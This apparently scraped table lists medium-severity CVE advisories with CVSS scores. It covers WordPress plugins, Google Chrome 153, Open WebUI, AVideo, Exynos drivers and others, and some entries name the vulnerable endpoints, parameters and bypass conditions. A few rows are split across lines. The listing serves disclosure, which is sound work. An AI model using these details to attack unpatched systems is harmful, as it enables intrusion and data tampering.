CVE-2024-12145	The BuddyPress plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 14.3.3 via the bp_notifications_action_bulk_manage due to missing validation on a user controlled key. This makes it possible for authenticated attackers, with Subscriber-level access and above, to delete/mark as read/mark as unread notifications of other users.	4.3	More Details
CVE-2026-87926	A flaw has been found in Rizwan17 inventory-management-system up to bfe78a330d01bb26b9daec5dc9ecd5c77900e03f. This issue affects some unknown processing of the file index.php of the component Login Page. Executing a manipulation of the argument msg can lead to cross site scripting. The attack can be launched remotely. The exploit has been published and may be used. This product does not use versioning. This is why information about affected and unaffected releases are unavailable. The project was informed of the problem early through an issue report but has not responded yet.	4.3	More Details
CVE-2026-87516	Observable discrepancy in Navigation in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: Medium)	4.3	More Details
CVE-2026-87449	Cross-site request forgery in DeviceBoundSessionCredentials in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to bypass web origin policy via a crafted HTML page. (Chromium security severity: Medium)	4.3	More Details

CVE-2026-90527	A vulnerability was detected in quequnlong shiyi-blog up to 1.2.1. Affected is an unknown function of the file blog-admin/src/views/message/message/index.vue of the component Add Message API. The manipulation of the argument body.content results in cross site scripting. The attack can be executed remotely. The project was informed of the problem early through an issue report but has not responded yet.	4.3	More Details
CVE-2026-19802	The Checkout Custom Fields Builder for WooCommerce plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 1.1.5. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with subscriber-level access and above, to install and activate an arbitrary attacker-hosted plugin, resulting in remote code execution on the server. The required nonce is emitted inline on all admin pages accessible to subscribers when WooCommerce is inactive, meaning any subscriber-level user can harvest it and trigger the exploit without any additional privileges.	4.3	More Details
CVE-2026-29810	CyberPanel before 2.4.4 omits a "return 0" that is required by the business logic.	4.3	More Details
CVE-2026-8615	The Reviso Exporter for WooCommerce plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check and missing nonce verification on the disconnect_callback() function in versions up to, and including, 1.2.3. The function is registered to the 'wp_ajax_wcefr-disconnect' AJAX action and unconditionally calls delete_option('wcefr-agt'), which removes the Reviso Agreement Grant Token used to authenticate API calls. This makes it possible for authenticated attackers, with Subscriber-level access and above, to delete the plugin's stored Agreement Grant Token, breaking the connection between WooCommerce and the Reviso service.	4.3	More Details
CVE-2026-89264	MoguBlog through 6.2 fails to validate the comment author identity in the POST /web/comment/add endpoint, allowing authenticated users to post comments attributed to any other user. Attackers can supply arbitrary userUid values in the request body to impersonate other accounts including administrators.	4.3	More Details
CVE-2026-85132	The WPLP Cookie Consent WordPress plugin before 4.4.2 does not perform nonce or capability checks on one of its cookie scanner AJAX actions, allowing any authenticated user, such as a subscriber, to read back the automated scan schedule the administrator configured.	4.3	More Details
CVE-2026-89265	MoguBlog through 6.2 contains an authorization bypass vulnerability in the POST /pictureSort/getPictureSortByUid endpoint, which omits the @AuthorityVerify annotation required to enforce role-based permissions. Authenticated back-office users without image-category permissions can supply a category uid to retrieve restricted image-category records including metadata such as name, cover file uid, sort order and timestamps.	4.3	More Details
CVE-2026-87875	The cupsUTF32ToUTF8() function in CUPS's cups/transcode.c lacks a source-length bound and can read past the end of the source buffer, resulting in a heap out-of-bounds read. This is reachable via SNMP supply-description parsing in backend/snmp-supplies.c with attacker-controlled content.	4.3	More Details
CVE-2026-90571	A vulnerability was found in Exrick xmall up to 19e7917d5ed3bd2a2421a3a246ad494c133ba94c. Impacted is an unknown function of the file xmall-manager-web/src/main/webapp/WEB-INF/jsp/order-print.jsp of the component Order Printing. Performing a manipulation results in cross site scripting. Remote exploitation of the attack is possible. This product follows a rolling release approach for continuous delivery, so version details for affected or updated releases are not provided. The project was informed of the problem early through an issue report but has not responded yet.	4.3	More Details
CVE-2026-86087	IBM Db2 11.5.0 through 11.5.9, and 12.1.0 through 12.1.5 could allow an authenticated user to send a specially crafted request to write arbitrary files on the system.	4.3	More Details
CVE-2026-87497	Uninitialized resource in Codecs in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to read memory inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)	4.3	More Details
CVE-2026-89267	starlette-admin versions 0.16.1 through 0.17.1 fail to enforce the searchable_fields allowlist when configured as an empty list, allowing authenticated users to filter on non-searchable fields. Attackers can submit structured filter queries via the list API's where parameter to perform equality and comparison operations on excluded columns.	4.3	More Details
CVE-2026-87466	Incorrect authorization in Workers in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to bypass web origin policy via a crafted HTML page. (Chromium security severity: Medium)	4.3	More Details
CVE-2026-84024	The BEAR WordPress plugin before 1.2.2 does not verify a CSRF nonce before saving its meta field configuration, allowing an attacker to overwrite that configuration by tricking a logged-in administrator into visiting a crafted page.	4.3	More Details
CVE-	Improper input validation in Extensions in Google Chrome prior to 153.0.8010.36 allowed a remote attacker		

2026-87469	to bypass web origin policy into a privileged page via crafted network traffic. (Chromium security severity: Low)	4.3	More Details
CVE-2026-61911	An issue was discovered in Cyrus IMAP before 3.12.4. There is a Sieve mailbox existence oracle. An authenticated user could install a Sieve script that probed whether another user's private mailbox existed, or read the value of shared mailbox annotations, by observing which fileinto branch fired during LMTP delivery.	4.3	More Details
CVE-2026-82185	The WPLP Cookie Consent WordPress plugin before 4.4.2 does not have capability or nonce checks on some of its A/B testing actions, allowing any authenticated user, such as a subscriber, to overwrite the cookie banner configuration shown to every visitor and to irreversibly reset the stored A/B test results.	4.3	More Details
CVE-2026-29812	CyberPanel before 2.4.4 has no logging for actions that could potentially manipulate the child domains list.	4.3	More Details
CVE-2026-75905	The WP Recipe Maker plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 10.8.0. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with contributor-level access and above, to take ownership of any admin-authored recipe by rewriting its post_author to the attacker's user ID, and unpublish it by overwriting its post_status with the contributor's draft or pending post status. This requires the default 'recipe_use_author' setting to be set to 'parent' for the ownership transfer to occur, though unpublishing remains possible regardless of this setting.	4.3	More Details
CVE-2026-87797	The Sprout Invoices WordPress plugin before 20.8.16 does not perform a capability or ownership check before allowing a private note to be overwritten through one of its AJAX actions, allowing any authenticated user such as a subscriber to overwrite private notes on records belonging to other users.	4.3	More Details
CVE-2026-19946	The Awesome Support plugin for WordPress is vulnerable to Missing Authorization in versions up to, and including, 6.3.9. This is due to a missing capability check on the wpas_do_mr_deny_user() function, which unlike its counterpart wpas_do_mr_activate_user() does not enforce current_user_can('edit_users') or current_user_can('edit_user', $user_id), relying solely on a nonce that is not scoped to the target user. This makes it possible for authenticated attackers, with subscriber-level access and above, to set the mr_user_denied flag on any user account — including administrators — permanently blocking their moderated activation and dispatching a denial notification email to the victim.	4.3	More Details
CVE-2026-79387	SQL injection vulnerability in PbootCMS versions 3.2.0 through 3.2.5 allows an authenticated user to modify arbitrary user account fields (including passwords and roles) via crafted parameters to the User/mod interface, enabling account takeover.	4.3	More Details
CVE-2025-68624	N-able Mail Assure through April 2026 contains a design-level authorization flaw that allows an authenticated SMTP user to send outbound email using MAIL FROM addresses belonging to other tenants. When connecting to the SMTP TCP port and performing SMTP AUTH with valid credentials, the server accepts arbitrary sender domains without enforcing any domain-to-account binding. As a result, an attacker from any tenant can impersonate other tenant domains, producing messages that pass SPF and DMARC validation. NOTE: N-able's position is that the behavior is intended functionality of its shared SMTP relay architecture and that the service does not represent that it enforces per-tenant sender-domain binding.	4.3	More Details
CVE-2026-79515	An out-of-bounds read in the stbtt_GetGlyphShape component of nothings stb commit 31c1ad3 allows attackers to cause a Denial of Service (DoS) via sending a crafted TTF file.	4.3	More Details
CVE-2026-90679	Forgejo 13.0.0 through 16.0.4, when "[federation] ENABLED = true" is set, has a spoofing issue that affects identity integrity but does not allow account takeover or content modification. It does not verify that the HTTP Signature on an incoming ActivityPub activity was produced by the key belonging to the actor named in the activity body. The signature verification in routers/api/v1/activitypub/reqsignature.go validates the request signature, but the inbox activity handlers subsequently read the acting identity from the attacker-controlled JSON body without binding it to the verified signing key. Additionally, the signed Digest header is not recomputed against the received request body. A remote attacker who hosts a single valid ActivityPub actor and keypair can therefore submit signature-valid activities attributed to any actor identity they name.	4.3	More Details
CVE-2026-87012	Open WebUI is an extensible, feature-rich, and user-friendly self-hosted AI platform. From 0.9.0 until 0.11.1, backend/open_webui/models/calendar.py stored the calendar event meta.alert_minutes value without type validation and the shared upcoming-event scheduler compared that value numerically. An authenticated user with the calendar permission could store a non-numeric alert_minutes value that raised an exception and aborted the instance-wide alert pass, suppressing all users' reminders while the event remained in the lookahead window. This issue is fixed in version 0.11.1.	4.3	More Details
CVE-	The Eventin – Event Calendar, Event Registration, Tickets & Booking (AI Powered) plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 4.1.22. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with subscriber-level access and above, to bypass payment for paid events, fraudulently mark		More

2026-15398	orders as completed, deplete ticket inventory, and trigger confirmation emails for tickets never purchased. This is exploitable by unauthenticated attackers because the wp_rest nonce is publicly emitted on every frontend page, and the order creation endpoint mints and returns an order_access_token to any caller possessing that nonce — giving unauthenticated users all credentials required to reach the privileged update_booking_status branch.	4.3	Details
CVE-2026-87013	Open WebUI is an extensible, feature-rich, and user-friendly self-hosted AI platform. From 0.10.0 until 0.11.1, POST /api/v1/folders/{id}/update/parent allowed a user to place a folder under itself or one of its descendants, while the folder tree walks used by DELETE /api/v1/folders/{id} and POST /api/v1/folders/{id}/read did not track visited folder identifiers. An authenticated user could persist a parent cycle and start a request that consumed CPU and memory indefinitely, with the condition remaining stored until repaired. This issue is fixed in version 0.11.1.	4.3	More Details
CVE-2026-71807	In RuoYi-Cloud-Plus <= 2.6.2 in the ruoyi-workflow module, multiple core task APIs in FlwTaskController lack permission annotations, and the Service layer does not verify whether the current user is the task handler/related user. Authenticated low-privileged remote attackers can read sensitive workflow task details (/task/getTask/{taskId}) and trigger unauthorized workflow executions (/task/startWorkFlow).	4.3	More Details
CVE-2026-87017	Open WebUI is an extensible, feature-rich, and user-friendly self-hosted AI platform. From 0.7.0 until 0.11.1, the built-in knowledge search tool passed the caller's readable knowledge identifiers through a metadata filter, but the search methods in eleven shipped vector backends ignored that filter. An authenticated user on an affected backend could enumerate the identifiers, names, and descriptions of inaccessible knowledge bases from the shared collection, although the associated document text remained in separate collections. This issue is fixed in version 0.11.1.	4.3	More Details
CVE-2026-87994	Open WebUI is an extensible, feature-rich, and user-friendly self-hosted AI platform. From 0.9.5 until 0.11.1, the channel branch of chat_completion in backend/open_webui/main.py checked channel write access and channel membership for a supplied message_id but did not verify that the calling user authored the targeted message. A channel member could use the chat completions endpoint to replace another member's message while preserving the victim as the stored author, altering the conversation record without gaining access to other channels. This issue is fixed in version 0.11.1.	4.3	More Details
CVE-2026-87495	Information leak in Scroll in Google Chrome prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process to leak cross-origin data via a crafted HTML page. (Chromium security severity: Medium)	4.3	More Details
CVE-2026-87632	Cross-site scripting in SanitizerAPI in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to bypass web origin policy via a crafted HTML page. (Chromium security severity: Medium)	4.3	More Details
CVE-2026-90583	A security flaw has been discovered in kagisearch smallweb up to 0ecb9c48edbf98dc7e934b54fbac43869e64b4cf. The affected element is the function index of the file app/sw.py of the component Query String Rendering. Performing a manipulation of the argument qs results in cross site scripting. The attack is possible to be carried out remotely. This product adopts a rolling release strategy to maintain continuous delivery. Therefore, version details for affected or updated releases cannot be specified. The patch is named 00b68144e583f20a6b67e29cf01bc07f57979ffb. It is recommended to apply a patch to fix this issue. Exploitability requires a raw HTTP request carrying unencoded double-quote characters in the query string - Werkzeug's request.query_string returns the raw request-target, and ordinary browsers percent-encode " as %22, so the payload only lands via netcat/curl-style raw sockets.	4.3	More Details
CVE-2026-90599	A flaw has been found in Rizwan17 inventory-management-system up to 5e74a46b4b70623d0e4a0c9c4aee3bd1777185d2. This affects an unknown function of the file includes/process.php. Executing a manipulation can lead to cross-site request forgery. It is possible to launch the attack remotely. The exploit has been published and may be used. This product takes the approach of rolling releases to provide continious delivery. Therefore, version details for affected and updated releases are not available. The project was informed of the problem early through an issue report but has not responded yet.	4.3	More Details
CVE-2026-81644	DoS vulnerability in the preview service module. Impact: Successful exploitation of this vulnerability may affect availability.	4.3	More Details
CVE-2026-15823	The Builderall Cheetah For Wp plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the disable() function in versions up to, and including, 3.0.2. The wp_ajax_ba_cheetah_disable AJAX handler is registered without any capability or nonce verification, and the target post_id is sourced directly from user-controlled $_POST['ba_cheetah_data']['post_id']. This makes it possible for authenticated attackers, with Subscriber-level access and above, to disable the page builder layout on arbitrary posts by setting the _ba_cheetah_enabled post meta to false, including on posts owned by other users.	4.3	More Details
CVE-	WWBN AVideo through commit c3edcc274c389816d434acadac07ee78eaf330c1 fails to validate video access permissions in the commentAddNew.json.php endpoint, allowing authenticated users to post comments on		More

2026-90545	password-protected and group-restricted videos. Attackers can submit POST requests with a valid session to add comments to videos they cannot watch, bypassing password and group access controls.	4.3	Details
CVE-2026-90546	WWBN AVideo through commit c3edcc274c389816d434acadac07ee78eaf330c1 fails to validate video access permissions in the like.json.php endpoint, allowing logged-in users to record likes on password-protected and group-restricted videos. Attackers can submit like requests for videos they cannot watch to increment like counters and bypass access controls.	4.3	More Details
CVE-2026-87586	Out of bounds read in ANGLE in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to read memory outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)	4.3	More Details
CVE-2026-73324	Certain VLC media player builds in versions 3.0.0 through 3.0.23 contain a memory-safety vulnerability reachable when processing media from an attacker-controlled network source. Exploitation requires user interaction and may disclose a limited, layout-dependent amount of VLC process memory. Exposure depends on build configuration.	4.3	More Details
CVE-2026-86769	Snipe-IT versions before 8.7.0 contain an improper ownership management vulnerability in the consumables checkout API endpoint that records the checkout target user's id in the created_by column instead of the authenticated caller's id. Authenticated attackers with consumables.checkout permission can perform checkouts that result in misattributed audit trail entries in the consumables_users pivot table, obscuring which operator performed the action.	4.3	More Details
CVE-2026-87592	Out of bounds read in Tint in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to potentially read memory inside the sandbox via a crafted HTML page. (Chromium security severity: Low)	4.3	More Details
CVE-2026-90552	WWBN AVideo through commit c3edcc274c389816d434acadac07ee78eaf330c1 fails to validate playlist ownership in the Playlists_schedules/list.json.php and Live/calendar.json.php endpoints, allowing authenticated and unauthenticated users to read private playlist schedule metadata. Attackers with canStream privileges or no authentication can retrieve schedule names, descriptions, timestamps, and playlist identifiers by querying these endpoints without ownership checks.	4.3	More Details
CVE-2026-87596	Out of bounds read in ANGLE in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to read memory outside the sandbox via a crafted HTML page. (Chromium security severity: High)	4.3	More Details
CVE-2026-87598	Incorrect authorization in ServiceWorker in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to bypass web origin policy via a crafted HTML page. (Chromium security severity: Low)	4.3	More Details
CVE-2026-87046	Tanium addressed an improper access controls vulnerability in Comply.	4.3	More Details
CVE-2026-85543	Some Wi-Fi series camera products have insufficient permission validation on certain interfaces, allowing authenticated low-privileged users to obtain device Wi-Fi configuration information through these interfaces.	4.3	More Details
CVE-2026-87035	Tanium addressed an information disclosure vulnerability in Comply.	4.3	More Details
CVE-2026-87032	Tanium addressed an information disclosure vulnerability in Tanium Server.	4.3	More Details
CVE-2026-89179	WeenyGenius, a computer lab management system by Howyar Technologies, has a Missing Support for Integrity Check vulnerability. Unauthenticated attackers on the same network can intercept a student's connection packet and replay it, thereby forging the appearance that the student remains connected.	4.3	More Details
CVE-2026-86202	PocketMine-MP versions before 5.39.2 contain a network amplification vulnerability in ActorEventPacket handling that allows clients to trigger consuming animations for all visible players. Attackers can send crafted ActorEventPacket messages to spam animation events to other clients and waste server CPU and memory resources.	4.3	More Details
CVE-2026-14892	Tanium addressed an improper access controls vulnerability in Tanium Server.	4.3	More Details
CVE-2026-	snipe-it versions before 8.7.0 contain an authorization bypass vulnerability in location print endpoints that fails to enforce per-model authorization checks. Authenticated attackers with location view permission can access printassigned and printallassigned endpoints to retrieve related users, assets, accessories,	4.3	More Details

86761	consumables, and components regardless of their individual model permissions.		
CVE-2026-87658	Information leak in Extensions in Google Chrome prior to 153.0.8010.36 allowed a remote attacker leveraging social engineering to obtain cross-origin data via a crafted Chrome extension. (Chromium security severity: Medium)	4.3	More Details
CVE-2026-87619	Observable discrepancy in Prefetch in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: Low)	4.3	More Details
CVE-2026-87651	Incorrect authorization in Paint in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to obtain cross-origin data via a crafted HTML page. (Chromium security severity: High)	4.3	More Details
CVE-2026-87622	Missing authorization in FedCM in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to bypass web origin policy via a crafted HTML page. (Chromium security severity: Medium)	4.3	More Details
CVE-2026-87642	Uninitialized resource in WebGL in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: Medium)	4.3	More Details
CVE-2026-89050	The Quads Ads Manager for Google AdSense WordPress plugin before 3.0.5 does not verify payment completion with the configured payment gateway before marking an ad-selling order as paid, allowing users who can place an order to obtain a paid ad placement without payment.	4.3	More Details
CVE-2026-86753	snipe-it versions before 8.7.0 fail to validate the requestable flag for asset models in the POST /account/request/asset_model/{modelId} endpoint. Authenticated users can bypass administrative restrictions and create checkout requests for non-requestable asset models by submitting requests directly to the endpoint.	4.3	More Details
CVE-2026-88871	WWBN AVideo through commit c3edcc274c389816d434acadac07ee78eaf330c1 (master, 2026-08-23) contains a cross-site request forgery vulnerability in the CustomizeUser plugin's plugin/CustomizeUser/setSubscribers.json.php endpoint. The script reads users_id and ExtraSubscribers from $_REQUEST and calls User::setExtraSubscribers() without requiring a POST request or a valid CSRF token; autoCSRFGuard() is applied only to POST requests to *.json.php, and the mutation does not pass through ObjectYPT::save()/isUntrustedRequest(), so a cross-origin GET succeeds. An unauthenticated remote attacker who induces a logged-in administrator to load a crafted page (for example an <img> tag pointing at the endpoint) can forge the ExtraSubscribers count displayed on any user's channel. The CustomizeUser plugin is enabled by default, and no patched version was available at the time of reporting.	4.3	More Details
CVE-2026-87630	Integer overflow in WebRTC in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to read memory inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)	4.3	More Details
CVE-2026-90544	WWBN AVideo through commit c3edcc274c389816d434acadac07ee78eaf330c1 fails to validate video access permissions in the videoAddViewCount.json.php endpoint before updating view statistics. Authenticated attackers can increment view counts and watch-time on videos they cannot access by submitting requests with arbitrary video IDs.	4.3	More Details
CVE-2026-87577	Incorrect authorization in Isolated in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to bypass web origin policy into a privileged page via a crafted HTML page. (Chromium security severity: Medium)	4.3	More Details
CVE-2026-87574	Information leak in ServiceWorker in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to obtain cross-origin data via a crafted HTML page. (Chromium security severity: Medium)	4.3	More Details
CVE-2026-62113	Contributor Insecure Direct Object References (IDOR) in Slim SEO <= 4.10.0 versions.	4.3	More Details
CVE-2026-18594	The Advanced Contact form 7 DB plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 2.1.3. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with custom-level access and above, to import forged CSV submission records into any Contact Form 7 form managed by the plugin.	4.3	More Details
CVE-2026-88875	AVideo through revision c3edcc274c389816d434acadac07ee78eaf330c1 (master, 2026-08-23) incompletely sanitizes sensitive user fields in the APIName=video response. Video rows include columns joined from the video owner's user record, and API::get_api_video() calls removeSensitiveUserFields() only when the caller is neither authenticated nor using a valid API secret; it never compares User::getId() with the row's users_id. As a result, any low-privilege authenticated account can request another user's video and receive the owner's email address, account name (user), and isAdmin, canUpload and canStream flags, which are removed for	4.3	More Details

	guests and should be returned only to the owner or to callers with a valid API secret. No patched version was available at the time of the advisory.		
CVE-2026-87543	Missing authorization in Core in Google Chrome prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process to bypass site isolation via a crafted HTML page. (Chromium security severity: Low)	4.3	More Details
CVE-2026-49439	OpenRemote is an open-source internet-of-things platform. Prior to version 1.24.1, the predicted datapoint write endpoint allows users with only `read:assets` privileges to write predicted datapoints. Version 1.24.1 fixes the issue.	4.3	More Details
CVE-2026-87546	Incorrect type conversion or cast in Safebrowsing in Google Chrome on on Mac prior to 153.0.8010.36 allowed a remote attacker to bypass system access restrictions via a crafted file. (Chromium security severity: Low)	4.3	More Details
CVE-2026-87548	Improper state validation in Installer in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to bypass system access restrictions via a crafted HTML page. (Chromium security severity: Medium)	4.3	More Details
CVE-2026-87550	Improper encoding or escaping of output in CSS in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to potentially bypass web origin policy via a crafted HTML page. (Chromium security severity: Medium)	4.3	More Details
CVE-2026-87551	Improper certificate validation in CORS in Google Chrome prior to 153.0.8010.36 allowed a remote attacker leveraging social engineering to bypass web origin policy via crafted network traffic. (Chromium security severity: Low)	4.3	More Details
CVE-2026-90487	A vulnerability was found in Xuxueli xxl-job up to 3.4.2. Affected by this issue is some unknown functionality of the file xxl-job-admin/src/main/java/com/xxl/job/admin/business/controller/JobGroupController.java. The manipulation results in improper privilege management. The attack may be launched remotely. The exploit has been made public and could be used. The vendor was contacted early about this disclosure but did not respond in any way.	4.3	More Details
CVE-2026-87556	Missing authorization in Browser in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to bypass system access restrictions via a crafted HTML page. (Chromium security severity: Medium)	4.3	More Details
CVE-2026-87557	Missing authorization in LocalNetworkAccess in Google Chrome prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process to bypass system access restrictions via a crafted HTML page. (Chromium security severity: Medium)	4.3	More Details
CVE-2026-9160	Improper neutralization of special elements used in a template engine vulnerability in Arma Digital Media Inc. Website Template allows Code Injection. This issue affects Website Template: through 11092026. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	4.3	More Details
CVE-2023-54395	PocketMine-MP versions before 4.12.5 contain a denial-of-service vulnerability in ModalFormResponsePacket processing that allows attackers to cause server resource exhaustion by sending large JSON payloads. Attackers can send numerous oversized modal form response packets to consume CPU time and prevent the server from processing legitimate connections.	4.3	More Details
CVE-2026-87560	Missing authorization in Browser in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to bypass system access restrictions via a crafted HTML page. (Chromium security severity: Medium)	4.3	More Details
CVE-2026-62139	Unauthenticated Cross Site Request Forgery (CSRF) in Site Kit by Google <= 1.186.0 versions.	4.3	More Details
CVE-2026-87564	Type confusion in V8 in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to read memory inside the sandbox via a crafted HTML page. (Chromium security severity: High)	4.3	More Details
CVE-2026-87573	Improper input validation in Network in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to bypass web origin policy via a crafted HTML page. (Chromium security severity: Medium)	4.3	More Details
CVE-2023-54394	PocketMine-MP before 4.18.0-ALPHA2 fails to rate-limit mismatch type InventoryTransactionPacket requests, allowing attackers to trigger excessive inventory synchronization. Attackers can send numerous mismatch transactions to force the server to transmit large amounts of serialized inventory data, consuming significant bandwidth without authentication.	4.3	More Details
CVE-2026-	Improper input validation in Chromium in Google Chrome prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process to spoof UI elements via crafted network traffic. (Chromium	4.3	More Details

87568	security severity: Low)		
CVE-2026-87567	UI misrepresentation in UrlFormatting in Google Chrome prior to 153.0.8010.36 allowed a remote attacker leveraging social engineering to spoof address bar via a crafted domain name. (Chromium security severity: Medium)	4.3	More Details
CVE-2026-90540	WWBN AVideo through commit c3edcc274c389816d434acadac07ee78eaf330c1 fails to validate watch permissions in the playListAddVideo.json.php endpoint when adding videos to playlists. Authenticated attackers can add password-protected videos they cannot watch to playlists they own by submitting the video ID and playlist ID parameters.	4.3	More Details
CVE-2026-42806	An out-of-bounds read vulnerability was discovered in the Bosch BME690 SensorAPI (C-driver) in version v1.0.3 and prior, specifically within the field data parsing logic in read_all_field_data (bme69x.c). The driver prefetches heater configuration registers into a contiguous 30-byte stack buffer (set_val) mapping IDAC, RES_HEAT, and GAS_WAIT tables. When parsing sensor field data, the gas_index is extracted using a 4-bit mask (0..15) but lacks boundary verification against the valid range (0..9). An attacker or a compromised peripheral mimicking a sensor on the I2C/SPI bus could return a payload with a gas index value of 10 or higher. This causes the driver to perform an out-of-bounds array access (set_val[20 + gas_index]), reading up to 6 bytes past the stack buffer. The leaked out-of-bounds byte is then written into the public gas_wait field, which may lead to measurement corruption or leak adjacent stack memory when telemetered or logged.	4.3	More Details
CVE-2026-87019	Tanium addressed an improper access controls vulnerability in Comply.	4.3	More Details
CVE-2026-87563	Origin validation error in Paint in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to obtain cross-origin data via a crafted HTML page. (Chromium security severity: Medium)	4.3	More Details
CVE-2026-87562	Incorrect reference resolution in Accessibility in Google Chrome on on Mac prior to 153.0.8010.36 allowed a remote attacker to potentially spoof UI elements via a crafted HTML page. (Chromium security severity: Medium)	4.3	More Details
CVE-2026-87561	Incorrect authorization in Web Authentication in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to bypass web origin policy via a crafted Chrome extension. (Chromium security severity: Low)	4.3	More Details
CVE-2026-62134	Contributor Insecure Direct Object References (IDOR) in Starter Templates <= 4.7.5 versions.	4.3	More Details
CVE-2026-23790	An issue was discovered in DPU in Samsung Mobile Processor Exynos 1280, 2200, 1380, 1480, 2400, 1580, 2500, 1680, and 2600. A double-free vulnerability in the Samsung Exynos DPU driver (due to improper pointer management during DMA buffer reallocation) leads to kernel memory corruption and a potential use-after-free.	4.2	More Details
CVE-2026-88912	The rtMedia for WordPress, BuddyPress and bbPress WordPress plugin before 4.7.12 does not check ownership before changing the privacy level of an activity and its attached media, relying only on a nonce shared with every logged-in user, allowing users with a subscriber-level account or above to make another user's private activity public or hide it.	4.2	More Details
CVE-2026-23791	An issue was discovered in DPU in Samsung Mobile Processor Exynos 1280, 2200, 1380, 1480, 2400, 1580, 2500, 1680, and 2600. An out-of-bounds write vulnerability in the Exynos DPU driver (due to missing input length validation in color mode LUT parsing) leads to kernel memory corruption and potential privilege escalation.	4.2	More Details
CVE-2026-23787	An issue was discovered in DPU in Samsung Mobile Processor Exynos 1280, 2200, 1380, 1480, 2400, 1580, 2500, 1680, and 2600. A Use-After-Free in the Exynos DRM HDR driver (due to improper cleanup upon vmap failure) leads to a kernel crash.	4.2	More Details
CVE-2026-23788	An issue was discovered in DPU in Samsung Mobile Processor Exynos 1280, 2200, and 1380. A heap overflow in the Exynos DRM HDR driver (due to improper buffer size validation) leads to kernel memory corruption and a system crash.	4.2	More Details
CVE-2026-33957	An issue was discovered in CustOS Driver in Samsung Mobile Processor Exynos 1580. Requesting oversized shared memory from the custos_iwc device enables out-of-bounds read and write, potentially leading to memory corruption or information leakage.	4.2	More Details
CVE-2026-61915	An issue was discovered in Cyrus IMAP before 3.12.4. There is a VPATCH BYPARAM double-free. An authenticated calendar user could crash a Cyrus CalDAV worker with a PATCH containing PATCH-ACTION="BYPARAM@..." against a resource with two or more properties of the matched kind. The memory holding the selector would be freed once on each iteration over the properties.	4.2	More Details

CVE-2026-87465	Incorrect authorization in Downloads in Google Chrome prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process to spoof UI elements via a crafted HTML page. (Chromium security severity: Medium)	4.2	More Details
CVE-2026-89092	The nscd service in the GNU C Library 2.3.4 onwards may crash due to a stack overflow when a malicious DNS server returns too large a response for a DNS query, resulting in degraded DNS resolution for the system. Exploitation of this bug needs a system that has nscd enabled and using an untrusted DNS server for name resolution, with the compromised DNS server being capable of processing records large enough to result in a stack overflow in an nscd thread stack. During experimentation, bind 9 was unable to handle large records, but that could change in future or with a different name server. In typical installations, nscd is executed in an isolated context as its own user without a shell, due to which any compromise of that service is isolated. There is a remote possibility of nscd cache corruption if an attacker manages to get the stack pointer into a desired point in the heap, potentially resulting in other caches in nscd being overwritten with corrupt data through the stack overflow, until the buggy code path eventually results in a crash. Finally, a crash in nscd may result in performance degradation when resolving names, but it does not result in a denial of service.	4.2	More Details
CVE-2026-87432	Incorrect authorization in Navigation in Google Chrome prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process to spoof UI elements via a crafted HTML page. (Chromium security severity: Medium)	4.2	More Details
CVE-2026-89145	Flextype CMS versions 0.9.9 through 1.0.0-alpha.3 fail to HTML-escape plugin directory names in the dependency error page rendered by getValidPluginsDependencies(). Attackers with write access to the plugins directory can create a plugin with HTML characters in its name to execute arbitrary scripts in users' browsers when dependency validation fails.	4.2	More Details
CVE-2026-87641	Race condition in Browser in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to bypass system access restrictions via a crafted HTML page. (Chromium security severity: Medium)	4.2	More Details
CVE-2026-87624	UI misrepresentation in Passwords in Google Chrome on on Android prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process to spoof UI elements via a crafted HTML page. (Chromium security severity: Low)	4.2	More Details
CVE-2026-87559	UI misrepresentation in UI in Google Chrome prior to 153.0.8010.36 allowed a remote attacker leveraging social engineering to spoof UI elements via a crafted HTML page. (Chromium security severity: Medium)	4.2	More Details
